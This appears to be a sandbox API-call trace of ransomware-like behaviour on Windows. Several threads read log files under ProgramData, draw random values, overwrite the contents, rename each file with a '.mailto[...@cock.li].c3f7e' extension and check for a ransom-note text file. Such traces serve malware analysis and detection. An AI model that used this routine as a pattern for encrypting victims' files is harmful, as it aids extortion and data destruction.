	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0xab8e940f
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0x935d3189
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0xbdb3804
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0xa8fe9602
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0x28049b39
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0x4ead525f
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0x4bcded5d
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0x51fe8eb6
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0x7e9011ed
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0xb7333ca7
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0xc4d3b5f3
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0x1c362d25
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0xfc403232
	[0083.974] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.975] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d48) returned 1
	[0083.975] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.975] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa8e0
	[0083.975] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0083.975] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.975] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.975] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0083.975] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4887048
	[0083.975] ReadFile (in: hFile=0x16f8, lpBuffer=0x5032038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x27cbf78c, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x27cbf78c*=0x2000, lpOverlapped=0x0) returned 1
	[0083.976] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.976] WriteFile (in: hFile=0x16f8, lpBuffer=0x4887048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x27cbf788, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesWritten=0x27cbf788*=0x2000, lpOverlapped=0x0) returned 1
	[0083.977] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.977] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0083.977] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.977] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4887048) returned 1
	[0083.977] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0083.977] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.977] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa8e0) returned 1
	[0083.977] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4776650
	[0083.977] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.978] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x47765b0
	[0083.978] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0083.978] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d48
	[0083.978] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d48) returned 1
	[0083.978] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.978] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0083.978] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x129) returned 0x2d62e78
	[0083.978] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.978] WriteFile (in: hFile=0x16f8, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x27cbf7f0, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x27cbf7f0*=0x129, lpOverlapped=0x0) returned 1
	[0083.980] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0083.980] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47765b0) returned 1
	[0083.980] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.980] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776650) returned 1
	[0083.980] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.980] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f28) returned 1
	[0083.980] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f50) returned 1
	[0083.980] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.980] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925b58
	[0083.980] wcscpy (in: _Dest=0x4925b58, _Source="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl"
	[0083.980] wcscat (in: _Dest=0x4925b58, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.980] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x27cbf7a8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.980] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e43fe0
	[0083.980] NtSetInformationFile (FileHandle=0x16f8, IoStatusBlock=0x27cbf7a0, FileInformation=0x2e43fe0, Length=0xd2, FileInformationClass=0xa) returned 0x0
	[0083.981] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e43fe0) returned 1
	[0083.981] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47192c0) returned 1
	[0083.981] NtQueryInformationFile (in: FileHandle=0x16f8, IoStatusBlock=0x27cbf7b4, FileInformation=0x27cbf78c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27cbf7b4, FileInformation=0x27cbf78c) returned 0x0
	[0083.981] NtSetInformationFile (FileHandle=0x16f8, IoStatusBlock=0x27cbf7b4, FileInformation=0x27cbf78c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.982] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925b58) returned 1
	[0083.982] FlushFileBuffers (hFile=0x16f8) returned 1
	[0083.983] CloseHandle (hObject=0x16f8) returned 1
	[0083.984] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780cc0
	[0083.984] wcscpy (in: _Dest=0x4780cc0, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0083.984] wcscat (in: _Dest=0x4780cc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0083.984] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0083.984] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780cc0) returned 1
	[0083.984] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bd090) returned 1

Thread:
	id = 1133
	os_tid = 0x1e24

	[0083.602] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.016.etl")) returned 0x2020
	[0083.635] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl", dwFileAttributes=0x20) returned 1
	[0083.636] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.016.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16ec
	[0083.636] GetFileSizeEx (in: hFile=0x16ec, lpFileSize=0x27d3f7c8 | out: lpFileSize=0x27d3f7c8*=8192) returned 1
	[0083.636] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.636] ReadFile (in: hFile=0x16ec, lpBuffer=0x27d3f74c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27d3f748, lpOverlapped=0x0 | out: lpBuffer=0x27d3f74c*, lpNumberOfBytesRead=0x27d3f748*=0x4, lpOverlapped=0x0) returned 1
	[0083.637] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.637] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d98
	[0083.637] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.637] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0083.637] NtQuerySystemTime (in: CurrentTime=0x27d3f728 | out: CurrentTime=0x27d3f728*=132251868103744183) returned 0x0
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x6e595828
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x4dbd7af0
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x606967af
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x4f07e32d
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x616811a6
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x972b4ac2
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x2c76e2d0
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x1212f200
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0xa646c66d
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0xa3747032
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x3ceceb93
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x5fdd2b9a
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0xc61b6a76
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0xd73e2af3
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x1669a32d
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0xa5636e4b
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0xe7e340a4
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x3b73043e
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0xa70d45fe
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0xb3b4c712
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x4729d6ed
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x9e0f7986
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0xe575ebf2
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x693b019
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x4e42a840
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x94deb399
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x22bbf7b1
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0xdf514885
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x6b1b2d29
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x7a4fee1e
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0xa6f2ea0
	[0083.638] RtlRandom (in: Seed=0x27d3f734 | out: Seed=0x27d3f734) returned 0x7f656798
	[0083.646] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.646] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.647] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.647] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa8e0
	[0083.647] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0083.647] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.647] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.647] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4887048
	[0083.647] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ea3008
	[0083.650] ReadFile (in: hFile=0x16ec, lpBuffer=0x4887048, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x27d3f724, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesRead=0x27d3f724*=0x2000, lpOverlapped=0x0) returned 1
	[0083.651] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.651] WriteFile (in: hFile=0x16ec, lpBuffer=0x4ea3008*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x27d3f720, lpOverlapped=0x0 | out: lpBuffer=0x4ea3008*, lpNumberOfBytesWritten=0x27d3f720*=0x2000, lpOverlapped=0x0) returned 1
	[0083.652] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.652] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ea3008) returned 1
	[0083.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4887048) returned 1
	[0083.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa8e0) returned 1
	[0083.652] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4775ed0
	[0083.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.652] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4774b70
	[0083.652] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.652] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0083.652] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x129) returned 0x2d62e78
	[0083.652] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.652] WriteFile (in: hFile=0x16ec, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x27d3f788, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x27d3f788*=0x129, lpOverlapped=0x0) returned 1
	[0083.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0083.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4774b70) returned 1
	[0083.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775ed0) returned 1
	[0083.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.655] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.655] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0083.655] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925518
	[0083.655] wcscpy (in: _Dest=0x4925518, _Source="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl"
	[0083.655] wcscat (in: _Dest=0x4925518, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.655] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x27d3f740, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.655] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e43fe0
	[0083.655] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x27d3f738, FileInformation=0x2e43fe0, Length=0xd2, FileInformationClass=0xa) returned 0x0
	[0083.655] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e43fe0) returned 1
	[0083.655] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719530) returned 1
	[0083.656] NtQueryInformationFile (in: FileHandle=0x16ec, IoStatusBlock=0x27d3f74c, FileInformation=0x27d3f724, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27d3f74c, FileInformation=0x27d3f724) returned 0x0
	[0083.656] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x27d3f74c, FileInformation=0x27d3f724, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925518) returned 1
	[0083.667] FlushFileBuffers (hFile=0x16ec) returned 1
	[0083.668] CloseHandle (hObject=0x16ec) returned 1
	[0083.669] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780cc0
	[0083.669] wcscpy (in: _Dest=0x4780cc0, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0083.669] wcscat (in: _Dest=0x4780cc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0083.670] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0083.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780cc0) returned 1
	[0083.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bd310) returned 1

Thread:
	id = 1134
	os_tid = 0x1e28

	[0083.606] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.017.etl")) returned 0x2020
	[0084.100] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl", dwFileAttributes=0x20) returned 1
	[0084.101] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.017.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16f4
	[0084.101] GetFileSizeEx (in: hFile=0x16f4, lpFileSize=0x27dbf808 | out: lpFileSize=0x27dbf808*=12288) returned 1
	[0084.101] SetFilePointerEx (in: hFile=0x16f4, liDistanceToMove=0x2ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.101] ReadFile (in: hFile=0x16f4, lpBuffer=0x27dbf78c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27dbf788, lpOverlapped=0x0 | out: lpBuffer=0x27dbf78c*, lpNumberOfBytesRead=0x27dbf788*=0x4, lpOverlapped=0x0) returned 1
	[0084.102] SetFilePointerEx (in: hFile=0x16f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.102] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0084.102] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34190
	[0084.102] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34438
	[0084.102] NtQuerySystemTime (in: CurrentTime=0x27dbf768 | out: CurrentTime=0x27dbf768*=132251868108431714) returned 0x0
	[0084.102] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0x5aebec5a
	[0084.102] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0xd7dc2e75
	[0084.102] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0xb8fea6a2
	[0084.102] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0x8815216
	[0084.102] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0xc8729271
	[0084.102] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0x9c1bf326
	[0084.102] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0xf9b94b1
	[0084.102] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0xd4f581c1
	[0084.102] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0x182b3d40
	[0084.102] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0x4deec971
	[0084.102] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0x16936980
	[0084.102] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0x84ff5ef5
	[0084.103] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0xa540aa6
	[0084.103] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0xd09ececf
	[0084.103] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0xf6e68d51
	[0084.103] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0xf031e22b
	[0084.103] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0x5e4ca0aa
	[0084.103] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0xf5f9ed2c
	[0084.103] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0x8f6c9910
	[0084.103] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0xc4b2d706
	[0084.103] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0xf378682f
	[0084.103] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0x698a74d1
	[0084.103] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0xae411c5f
	[0084.103] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0xd96c0056
	[0084.103] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0x1fac7a1a
	[0084.103] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0x56934964
	[0084.103] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0xf1079ba
	[0084.103] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0x52afe242
	[0084.103] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0x81bbc9e5
	[0084.103] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0x7b1baf92
	[0084.103] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0xbeb9785c
